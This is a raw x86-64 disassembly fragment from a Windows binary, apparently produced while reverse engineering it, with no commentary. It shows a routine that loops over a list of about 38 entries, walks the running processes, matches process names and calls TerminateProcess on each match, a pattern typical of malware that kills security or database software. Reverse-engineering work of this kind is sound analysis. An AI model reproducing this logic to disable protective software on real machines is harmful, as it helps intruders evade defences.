mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d21f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d21f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, rbx
lea rcx, [rbp + 0x14c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x14001d992
lea rdx, [rbp + 0x120]
mov rcx, rdi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x14001d987
mov rdx, rbx
lea rcx, [rbp + 0x14c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x14001d992
lea rdx, [rbp + 0x120]
mov rcx, rdi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14001d960
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001d9a4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 0x128], 0
jne 0x14001d9dd
inc r15d
inc r14
add rsi, 0x20
cmp r14, 0x26
jl 0x14001c8a0
lea r9, [fcn.1400054c0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, Ordinal_41
lea rcx, [rbp + 0x310]
call fcn.14008bc88
xor al, al
jmp 0x14001cbdf
movsxd rax, r15d
shl rax, 5
lea rbx, [rbp + 0x310]
add rbx, rax
cmp qword [rbx + 0x18], 0xf
jbe 0x14001d9f8
mov rbx, qword [rbx]
xor edx, edx
mov ecx, reloc.WS2_32.dll_ntohs
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
mov dword [rbp - 0x20], 0x130
lea rdx, [rbp - 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x14001da84
nop
lea rcx, [rbp + 0xc]
mov rdi, rbx
sub rdi, rcx
nop word [rax + rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + rdi]
sub edx, eax
jne 0x14001da42
inc rcx
test eax, eax
jne 0x14001da30
test edx, edx
jne 0x14001da74
mov r8d, dword [rbp - 0x18]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14001da74
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x20]
mov rcx, rsi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x14001da20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea r9, [fcn.1400054c0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, Ordinal_41
lea rcx, [rbp + 0x310]
call fcn.14008bc88
jmp 0x14001cbdd